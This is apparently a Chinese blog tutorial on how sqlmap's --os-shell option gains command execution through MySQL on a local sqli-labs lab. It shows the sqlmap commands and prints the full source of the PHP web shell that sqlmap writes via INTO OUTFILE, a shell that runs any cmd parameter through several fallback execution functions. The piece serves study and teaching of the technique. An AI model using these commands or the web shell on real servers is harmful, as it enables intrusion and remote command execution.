前言:
最近在看sqlmap,发现--os-shell 这个命令很厉害,所以来研究一下。
一、os-shell执行原理
对于 Mysql 数据库来说,--os-shell 的本质就是写入两个 php 文件,其中的一个可以让我们用来执行命令,而另外一个可以让我们可以上传文件。
说到写入文件,就要说一下上传文件的两个前提条件,首先我们要知道网站的绝对路径(我们的文件写入到哪里),然后要有导入导出的权限。
导入导出的权限在 Mysql 数据库中是由 secure_file_priv 参数来控制的,当这个参数后面为 null 时,表示不允许导入导出,如果为具体文件夹时,表示仅允许在这个文件夹下导入导出,如果后面没有值(为空)时,表示可以在任何文件夹下导入导出。 当 Mysql 5.7 版本以上的时候,secure_file_priv 参数的值默认为null,也就是说,如果管理员没有修改过这个参数后面的数值的话,我们没办法在5.7以上版本使用--os-shell 。
二、测试环境:
实验环境是在本机上使用 phpstudy 搭建的 sqli-libs 靶场,并且假设我们已知网站绝对路径。
三、过程演示
1、测试权限
首先,我们先测试是否为dba权限
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --is-dba
可以看到,当前用户拥有dba的权限,接下来就可以使用--os-shell 了。
2、攻击
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-shell
3、选择语言
sqlmap默认为ASP,此处根据需求选择。
4、输入绝对路径
选择2选项,输入绝对路径,我这里为:C:/phpStudy/WWW
5、建立 os-shell 并执行命令
成功建立 os-shell 并执行命令!
四、原理分析
原理其实很简单,就是用 into outfile 函数上传了两个php文件,如图 一个是 tmpunszu.php,可以用来上传文件,另一个是 tmpbjpgc.php,这个文件可以用来执行系统命令,并且将结果返回出来。
先来看下 tmpbjpgc.php文件,源码如下:
<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
$z=@ini_get('disable_functions');
if(!empty($z))
{
$z=preg_replace('/[, ]+/',',',$z);
$z=explode(',',$z);
$z=array_map('trim',$z);}
else
{
$z=array();
}
$c=$c." 2>&1\n";
function f($n)
{global $z;
return is_callable($n)and!in_array($n,$z);
}
if(f('system'))
{ob_start();
system($c);
$w=ob_get_contents();
ob_end_clean();
}elseif(f('proc_open')){
$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
$w=NULL;
while(!feof($t[1])){
$w.=fread($t[1],512);
}
@proc_close($y);
}
elseif(f('shell_exec')){
$w=shell_exec($c);
}
elseif(f('passthru')){
ob_start();
passthru($c);
$w=ob_get_contents();
ob_end_clean();
}elseif(f('popen')){
$x=popen($c,r);
$w=NULL;
if(is_resource($x)){
while(!feof($x)){
$w.=fread($x,512);
}
}
@pclose($x);
}elseif(f('exec')){
$w=array();
exec($c,$w);
$w=join(chr(10),$w).chr(10);
}else{
$w=0;
}
print "</pre>".$w."</pre>";?>'''
上述代码实现了 os-shell 得到命令后如何执行,以及输出执行结果到 os-shell 中。我们可以直接通过该文件在网站URL里面往 cmd 传参,执行系统命令。
我们来访问一下 tmpunszu.php页面 上传一个php探针文件并访问 访问成功。
总结:
通过上述的分析,我们知道了sqlmap os-shell参数的用法以及原理,通过往服务器上写入了两个shell文件,实现了执行系统命令和上传脚本文件的功能。🆗,本次分析到此结束。
参考文章:
https://www.cnblogs.com/Xiaoming0/p/13951894.html https://www.cnblogs.com/lcamry/p/5505110.html https://www.cnblogs.com/zzjdbk/p/13951047.html
|